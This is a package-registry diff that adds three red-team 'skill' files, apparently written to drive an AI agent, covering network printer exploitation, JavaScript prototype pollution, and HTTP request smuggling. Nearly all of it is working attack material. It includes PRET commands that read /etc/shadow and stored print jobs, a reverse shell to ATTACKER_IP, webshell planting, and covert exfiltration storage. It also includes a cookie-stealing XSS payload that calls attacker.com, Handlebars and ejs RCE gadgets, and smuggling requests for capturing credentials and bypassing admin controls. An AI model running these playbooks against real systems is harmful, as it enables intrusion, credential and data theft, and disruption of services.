rtexit-method 0.1.7 → 0.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,213 @@
1
+ ---
2
+ name: rt-printer-attacks
3
+ description: "Network printer exploitation skill for authorized engagements. PRET (Printer Exploitation Toolkit) for PostScript and PJL attacks, printer credential extraction, stored document retrieval, printer as network pivot point, SNMP community string abuse, IPP exploitation, printer firmware attacks, and using printers as covert C2 storage. Use when network printers are in scope or when pivoting through printer VLANs."
4
+ ---
5
+
6
+ # rt-printer-attacks — Network Printer Exploitation
7
+
8
+ ## Overview
9
+
10
+ Network printers are overlooked in most security assessments but are high-value targets: they store copies of every printed document, often have unpatched firmware, sit on multiple VLANs, have weak or no authentication, and can be used as persistent storage for attacker data. Most enterprise printers speak PostScript, PJL, and PCL — each with exploitable features.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Discovery & Fingerprinting
15
+
16
+ ```bash
17
+ # Printer-specific ports
18
+ nmap -sV -p 9100,515,631,161,443,80 PRINTER_IP
19
+ # 9100 = RAW printing (JetDirect)
20
+ # 515 = LPD/LPR
21
+ # 631 = IPP (Internet Printing Protocol)
22
+ # 161 = SNMP
23
+ # 80 = Web management UI
24
+
25
+ # Discover printers on network
26
+ nmap -p 9100 --open 10.10.10.0/24
27
+ nmap --script printer-info 10.10.10.0/24
28
+
29
+ # SNMP community string (often 'public')
30
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43
31
+ # Returns: printer model, serial, status, paper level, etc.
32
+
33
+ # Web UI fingerprinting
34
+ curl http://PRINTER_IP/
35
+ # HP: /hp/device/index.htm
36
+ # Xerox: /wps/mydoc.html
37
+ # Canon: /English/pages/top.htm
38
+ # Ricoh: /web/entry.html
39
+ ```
40
+
41
+ ---
42
+
43
+ ## Phase 2 — PRET (Printer Exploitation Toolkit)
44
+
45
+ ```bash
46
+ # PRET = Python tool for attacking PostScript, PJL, and PCL printers
47
+ git clone https://github.com/RUB-NDS/PRET
48
+ pip3 install -r PRET/requirements.txt
49
+
50
+ # Connect via RAW port (9100) — most common
51
+ python3 PRET/pret.py PRINTER_IP pjl
52
+ python3 PRET/pret.py PRINTER_IP postscript
53
+ python3 PRET/pret.py PRINTER_IP pcl
54
+
55
+ # PJL attacks (Printer Job Language)
56
+ python3 PRET/pret.py PRINTER_IP pjl
57
+ # Once connected:
58
+ info variables # Printer config variables
59
+ info status # Current status
60
+ info id # Device ID and firmware
61
+
62
+ # Read filesystem
63
+ ls / # List root filesystem
64
+ ls /etc/ # Config files
65
+ cat /etc/shadow # Credential files (some printers run Linux)
66
+
67
+ # Get stored jobs / documents
68
+ ls /jobs/ # Pending print jobs
69
+ get /jobs/001.ps # Download print job (may contain sensitive docs)
70
+
71
+ # Set config (denial of service or persistence)
72
+ set TIMEOUT=0 # Brick printer until power cycle
73
+
74
+ # Filesystem write
75
+ put webshell.php /var/www/html/ # If printer runs web server
76
+
77
+ # PostScript attacks
78
+ python3 PRET/pret.py PRINTER_IP postscript
79
+ # Execute PostScript code
80
+ # Read filesystem via PostScript file operations
81
+ exec "(cat /etc/passwd) run"
82
+
83
+ # SSRF via PostScript
84
+ exec "(http://169.254.169.254/) run"
85
+ ```
86
+
87
+ ---
88
+
89
+ ## Phase 3 — Stored Document Retrieval
90
+
91
+ ```bash
92
+ # Many printers store copies of documents
93
+ # HR docs, financial reports, executive emails all pass through
94
+
95
+ # Via PJL
96
+ python3 PRET/pret.py PRINTER_IP pjl
97
+ ls /savedjobs/
98
+ get /savedjobs/confidential_report.pdf
99
+
100
+ # Via web UI (if no auth)
101
+ curl http://PRINTER_IP/hp/device/ScannerImages/
102
+ # Ricoh stored docs
103
+ curl http://PRINTER_IP/web/entry.html?func=FUNC&page=PrintFunc&subPage=JobList
104
+
105
+ # IPP (Internet Printing Protocol) — get job list
106
+ curl -X POST http://PRINTER_IP:631/printers/HP_LaserJet \
107
+ -H "Content-Type: application/ipp" \
108
+ --data-binary @get_jobs_request.ipp
109
+
110
+ # SNMP — get print job info
111
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43.11
112
+ ```
113
+
114
+ ---
115
+
116
+ ## Phase 4 — Credential Extraction
117
+
118
+ ```bash
119
+ # Printers store LDAP, email, SMB credentials for scanning features
120
+
121
+ # Via web UI (no auth — very common)
122
+ curl http://PRINTER_IP/hp/device/ldap_settings.xml
123
+ curl http://PRINTER_IP/config.xml
124
+ # May contain: LDAP bind password, email server credentials, SMB share creds
125
+
126
+ # Via SNMP
127
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.4.1.11.2.3.9.4.2
128
+ # HP MIB: contains email/LDAP config
129
+
130
+ # Via PJL filesystem read
131
+ python3 PRET/pret.py PRINTER_IP pjl
132
+ cat /etc/ldap.conf
133
+ cat /var/spool/samba/credentials.txt
134
+ ls /etc/
135
+ ```
136
+
137
+ ---
138
+
139
+ ## Phase 5 — Printer as Network Pivot
140
+
141
+ ```bash
142
+ # Printers often sit on multiple VLANs:
143
+ # - Office VLAN (users connect to print)
144
+ # - Server VLAN (for file scanning)
145
+ # - Management VLAN
146
+ # Use printer as proxy into otherwise-inaccessible networks
147
+
148
+ # If printer runs Linux (HP, Xerox, Ricoh often do):
149
+ python3 PRET/pret.py PRINTER_IP pjl
150
+ # Check if netcat/ncat available
151
+ exec "which nc ncat netcat"
152
+
153
+ # Reverse shell from printer
154
+ exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
155
+
156
+ # Once you have shell on printer:
157
+ ip addr show # Check all interfaces — printer may be on 2-3 networks
158
+ ip route # Check routing table
159
+
160
+ # Scan internal networks reachable from printer
161
+ for i in $(seq 1 254); do
162
+ ping -c1 -W1 10.20.0.$i &>/dev/null && echo "UP: 10.20.0.$i"
163
+ done
164
+
165
+ # Printer as data drop (covert storage)
166
+ # Upload stolen data to printer filesystem
167
+ python3 PRET/pret.py PRINTER_IP pjl
168
+ put exfil_data.zip /tmp/
169
+ # Data persists until printer is power cycled or storage wiped
170
+ ```
171
+
172
+ ---
173
+
174
+ ## Phase 6 — DoS & Firmware Attacks
175
+
176
+ ```bash
177
+ # Infinite print loop
178
+ python3 PRET/pret.py PRINTER_IP pjl
179
+ flood # Sends endless print jobs
180
+
181
+ # Printer crash via malformed PJL
182
+ echo -e '\x1b%-12345X@PJL \r\n@PJL SET SERVICEMODE=HPBOISEID\r\n' | nc PRINTER_IP 9100
183
+
184
+ # Firmware downgrade (if old vulnerable firmware available)
185
+ # HP: upload .bdl firmware file via web UI
186
+ curl -X POST http://PRINTER_IP/hp/device/update \
187
+ -F "firmware=@old_vulnerable_firmware.bdl"
188
+
189
+ # Change admin password via SNMP
190
+ snmpset -v2c -c private PRINTER_IP \
191
+ .1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.3.0 s "newpassword"
192
+ ```
193
+
194
+ ---
195
+
196
+ ## Skill Levels
197
+
198
+ **BEGINNER:** PRET PJL connection + info commands + web UI default credential testing
199
+
200
+ **INTERMEDIATE:** Stored document retrieval + credential extraction from config files + SNMP enumeration
201
+
202
+ **ADVANCED:** Printer filesystem access + reverse shell from printer + pivot into secondary VLANs
203
+
204
+ **EXPERT:** Firmware manipulation + printer as persistent C2 storage + cross-VLAN attacks via printer
205
+
206
+ ---
207
+
208
+ ## References
209
+
210
+ - PRET: https://github.com/RUB-NDS/PRET
211
+ - Printer Hacking research (RUB): https://www.nds.rub.de/research/printer-hacking/
212
+ - SNMP printer MIBs: http://www.mibdepot.com
213
+ - MITRE T1012: https://attack.mitre.org/techniques/T1012/
@@ -0,0 +1,154 @@
1
+ ---
2
+ name: rt-prototype-pollution
3
+ description: "Prototype pollution attack skill for authorized engagements. Client-side prototype pollution to DOM XSS and cookie theft, server-side prototype pollution in Node.js to RCE, gadget chains for PP escalation, AST injection via prototype pollution, property injection in lodash/merge functions, and automated detection with PPScan. Use when testing JavaScript applications (both browser-side and Node.js server-side)."
4
+ ---
5
+
6
+ # rt-prototype-pollution — Prototype Pollution
7
+
8
+ ## Overview
9
+
10
+ JavaScript's prototype chain allows every object to inherit properties from its prototype. Prototype pollution injects properties into `Object.prototype` — affecting ALL objects in the application. Client-side: leads to DOM XSS. Server-side: leads to RCE, authentication bypass, and privilege escalation.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Detection
15
+
16
+ ```javascript
17
+ // Client-side detection in browser console
18
+ // Inject test property into Object.prototype
19
+ ?__proto__[testprop]=testvalue
20
+ // Or in JSON body: {"__proto__": {"testprop": "testvalue"}}
21
+
22
+ // Check if it worked
23
+ window.testprop // Should be "testvalue" if polluted
24
+ ({}).testprop // Any empty object should have it
25
+
26
+ // Server-side detection
27
+ // Send request with __proto__ in JSON
28
+ fetch('/api/user/update', {
29
+ method: 'POST',
30
+ body: JSON.stringify({"__proto__": {"polluted": true}})
31
+ })
32
+ // If server responds differently → server-side PP
33
+
34
+ // Automated: PPScan
35
+ npm install -g ppscan
36
+ ppscan --url https://target.com
37
+ ```
38
+
39
+ ---
40
+
41
+ ## Phase 2 — Client-Side PP to DOM XSS
42
+
43
+ ```bash
44
+ # Inject via URL query parameter
45
+ https://target.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>
46
+ https://target.com/?__proto__[src]=//attacker.com/evil.js
47
+
48
+ # Inject via JSON body parameter
49
+ {"username": "test", "__proto__": {"isAdmin": true}}
50
+ {"name": "x", "constructor": {"prototype": {"isAdmin": true}}}
51
+ {"name": "x", "__proto__.__proto__": {"isAdmin": true}}
52
+
53
+ # Common gadgets (properties that cause XSS when polluted)
54
+ __proto__[innerHTML] → sets innerHTML of elements
55
+ __proto__[src] → sets src of script/img elements
56
+ __proto__[href] → sets href causing XSS
57
+ __proto__[transport_url] → jQuery JSONP
58
+ __proto__[sequence] → DOMPurify bypass
59
+ __proto__[NODE_NAME] → specific framework gadgets
60
+
61
+ # PayloadsAllTheThings PP gadgets
62
+ # https://github.com/HoLyVieR/prototype-pollution-nsec18
63
+
64
+ # Exploit: steal cookies via polluted property
65
+ https://target.com/?__proto__[innerHTML]=<script>fetch('https://attacker.com?c='+document.cookie)</script>
66
+ ```
67
+
68
+ ---
69
+
70
+ ## Phase 3 — Server-Side PP to RCE
71
+
72
+ ```javascript
73
+ // Node.js server-side prototype pollution → RCE
74
+
75
+ // Lodash merge (CVE-2019-10744)
76
+ const _ = require('lodash');
77
+ _.merge({}, JSON.parse('{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}'));
78
+ // Pollutes process.mainModule.require or shell property
79
+
80
+ // express-fileupload PP (CVE-2020-7699)
81
+ // POST with file upload + __proto__ in field name → pollutes globally
82
+
83
+ // Handlebars template injection via PP (CVE-2019-19919)
84
+ // Pollute __proto__.pendingContent → template execution
85
+ const payload = '{"__proto__": {"pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\'child_process\').execSync(\'id\').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}}';
86
+
87
+ // Detect via spawn/exec pollution
88
+ // If shell property polluted → child_process.exec uses it
89
+ const {exec} = require('child_process');
90
+ exec('id'); // If __proto__.shell='node' → executes node instead
91
+ ```
92
+
93
+ ---
94
+
95
+ ## Phase 4 — Escalation via Gadgets
96
+
97
+ ```javascript
98
+ // Property injection gadgets for various frameworks
99
+
100
+ // Express.js
101
+ __proto__[admin] = true // Bypass auth checks: if(req.user.admin)
102
+ __proto__[authorized] = true
103
+ __proto__[role] = "admin"
104
+
105
+ // ejs template RCE gadget
106
+ __proto__[outputFunctionName] = "x; process.mainModule.require('child_process').execSync('id'); //"
107
+
108
+ // Pug template
109
+ __proto__[compileDebug] = 1
110
+ __proto__[self] = 1
111
+
112
+ // Finding gadgets manually
113
+ // Search codebase for dangerous property accesses that could be polluted:
114
+ grep -r "opts\.\|options\.\|config\." src/ | grep -v "==" | grep -v "!=="
115
+ # Properties read from objects without hasOwnProperty check = potential gadgets
116
+ ```
117
+
118
+ ---
119
+
120
+ ## Phase 5 — Fix Bypass Techniques
121
+
122
+ ```javascript
123
+ // App uses Object.create(null) to avoid PP? Try:
124
+ {"constructor": {"prototype": {"polluted": true}}}
125
+
126
+ // App filters __proto__? Use:
127
+ {"constructor": {"prototype": {"polluted": true}}}
128
+ // or URL encoded: %5F%5Fproto%5F%5F
129
+
130
+ // Deep merge bypass
131
+ {"a": {"__proto__": {"polluted": true}}}
132
+ // Some merge functions recurse → pollutes at depth
133
+ ```
134
+
135
+ ---
136
+
137
+ ## Skill Levels
138
+
139
+ **BEGINNER:** DOM XSS via URL-based PP · isAdmin bypass via polluted property
140
+
141
+ **INTERMEDIATE:** PP gadget research in target's framework · Server-side PP detection
142
+
143
+ **ADVANCED:** ejs/Pug RCE via PP gadgets · Lodash merge exploitation · PP chain to full server compromise
144
+
145
+ **EXPERT:** Custom gadget discovery · PP + deserialization chains · 0-day PP in popular frameworks
146
+
147
+ ---
148
+
149
+ ## References
150
+
151
+ - PortSwigger PP: https://portswigger.net/web-security/prototype-pollution
152
+ - PP gadgets research: https://github.com/BlackFan/client-side-prototype-pollution
153
+ - Server-side PP: https://portswigger.net/research/server-side-prototype-pollution
154
+ - MITRE T1059.007: https://attack.mitre.org/techniques/T1059/007/
@@ -0,0 +1,187 @@
1
+ ---
2
+ name: rt-request-smuggling
3
+ description: "HTTP Request Smuggling attack skill for authorized engagements. CL.TE and TE.CL desync attacks, HTTP/2 downgrade smuggling (H2.CL, H2.TE), request queue poisoning for account takeover, smuggling to bypass front-end security controls, capturing other users' requests, response queue poisoning, and Burp Suite smuggling detection. Use when testing applications behind reverse proxies, load balancers, or CDNs."
4
+ ---
5
+
6
+ # rt-request-smuggling — HTTP Request Smuggling
7
+
8
+ ## Overview
9
+
10
+ HTTP Request Smuggling exploits disagreements between front-end (proxy/CDN) and back-end servers about where one HTTP request ends and the next begins. The front-end sees one request; the back-end sees two — the second being a "smuggled" request that can poison the queue, hijack other users' requests, or bypass security controls.
11
+
12
+ **Conditions:** Front-end + back-end server, both parsing HTTP differently (Content-Length vs Transfer-Encoding).
13
+
14
+ ---
15
+
16
+ ## Phase 1 — Detection
17
+
18
+ ```http
19
+ # CL.TE detection — front-end uses Content-Length, back-end uses TE
20
+ POST / HTTP/1.1
21
+ Host: target.com
22
+ Content-Length: 6
23
+ Transfer-Encoding: chunked
24
+
25
+ 0
26
+
27
+ X
28
+ ```
29
+
30
+ ```bash
31
+ # Burp Suite — HTTP Request Smuggler extension (BApp Store)
32
+ # Scanner → Scan → HTTP Request Smuggling
33
+
34
+ # Manual timing-based detection
35
+ # If response takes ~10s with no timeout set → backend stalled on incomplete chunk → CL.TE vulnerable
36
+
37
+ # smuggler.py — automated detection
38
+ git clone https://github.com/defparam/smuggler
39
+ python3 smuggler.py -u https://target.com/
40
+ ```
41
+
42
+ ---
43
+
44
+ ## Phase 2 — CL.TE (Front-end: Content-Length, Back-end: Transfer-Encoding)
45
+
46
+ ```http
47
+ # Smuggled prefix poisoning
48
+ POST / HTTP/1.1
49
+ Host: target.com
50
+ Content-Length: 13
51
+ Transfer-Encoding: chunked
52
+
53
+ 0
54
+
55
+ SMUGGLED
56
+ ```
57
+
58
+ ```http
59
+ # Capture next user's request (account takeover)
60
+ POST / HTTP/1.1
61
+ Host: target.com
62
+ Content-Type: application/x-www-form-urlencoded
63
+ Content-Length: 130
64
+ Transfer-Encoding: chunked
65
+
66
+ 0
67
+
68
+ POST /login HTTP/1.1
69
+ Host: target.com
70
+ Content-Type: application/x-www-form-urlencoded
71
+ Content-Length: 100
72
+
73
+ username=captured_
74
+ # Next user's request body appends here → steals their credentials
75
+ ```
76
+
77
+ ---
78
+
79
+ ## Phase 3 — TE.CL (Front-end: Transfer-Encoding, Back-end: Content-Length)
80
+
81
+ ```http
82
+ POST / HTTP/1.1
83
+ Host: target.com
84
+ Content-Length: 4
85
+ Transfer-Encoding: chunked
86
+
87
+ 5e
88
+ POST /admin HTTP/1.1
89
+ Host: target.com
90
+ Content-Type: application/x-www-form-urlencoded
91
+ Content-Length: 15
92
+
93
+ admin=true&x=
94
+ 0
95
+ ```
96
+
97
+ ---
98
+
99
+ ## Phase 4 — H2.CL / H2.TE (HTTP/2 Downgrade Smuggling)
100
+
101
+ ```http
102
+ # HTTP/2 requests downgraded to HTTP/1.1 at the proxy
103
+ # Inject Content-Length or Transfer-Encoding in HTTP/2 headers
104
+
105
+ # H2.CL — inject Content-Length in HTTP/2
106
+ :method POST
107
+ :path /
108
+ :authority target.com
109
+ content-type application/x-www-form-urlencoded
110
+ content-length 0
111
+
112
+ # H2.TE — inject Transfer-Encoding in HTTP/2 pseudo-header
113
+ :method POST
114
+ transfer-encoding chunked
115
+ # Body follows with chunked encoding
116
+ ```
117
+
118
+ ```bash
119
+ # Burp Suite — HTTP/2 smuggling
120
+ # Repeater → toggle HTTP/2 → inject headers manually
121
+ # Inspector pane → add custom headers without content-length auto-calculation
122
+ ```
123
+
124
+ ---
125
+
126
+ ## Phase 5 — Security Control Bypass
127
+
128
+ ```http
129
+ # Bypass front-end IP restriction
130
+ # Front-end blocks /admin from external IPs
131
+ # Smuggle request to appear as internal
132
+
133
+ POST / HTTP/1.1
134
+ Host: target.com
135
+ Content-Length: 116
136
+ Transfer-Encoding: chunked
137
+
138
+ 0
139
+
140
+ GET /admin HTTP/1.1
141
+ Host: target.com
142
+ X-Forwarded-For: 127.0.0.1
143
+ X-Original-URL: /admin
144
+ Content-Length: 10
145
+
146
+ x=1
147
+ ```
148
+
149
+ ---
150
+
151
+ ## Phase 6 — Response Queue Poisoning
152
+
153
+ ```http
154
+ # Poison response queue → steal other users' responses
155
+ # Works when backend uses persistent connections
156
+
157
+ POST / HTTP/1.1
158
+ Host: target.com
159
+ Content-Length: 43
160
+ Transfer-Encoding: chunked
161
+
162
+ 0
163
+
164
+ GET /admin/delete?user=victim HTTP/1.1
165
+ X: X
166
+ ```
167
+
168
+ ---
169
+
170
+ ## Skill Levels
171
+
172
+ **BEGINNER:** Burp HTTP Request Smuggler extension for automated detection
173
+
174
+ **INTERMEDIATE:** Manual CL.TE/TE.CL with Burp Repeater · Security control bypass
175
+
176
+ **ADVANCED:** Request capture for account takeover · H2.CL/H2.TE HTTP/2 smuggling
177
+
178
+ **EXPERT:** Response queue poisoning · Custom timing-based detection · CDN-specific variants
179
+
180
+ ---
181
+
182
+ ## References
183
+
184
+ - PortSwigger Research: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
185
+ - PortSwigger Lab: https://portswigger.net/web-security/request-smuggling
186
+ - smuggler.py: https://github.com/defparam/smuggler
187
+ - MITRE T1190: https://attack.mitre.org/techniques/T1190/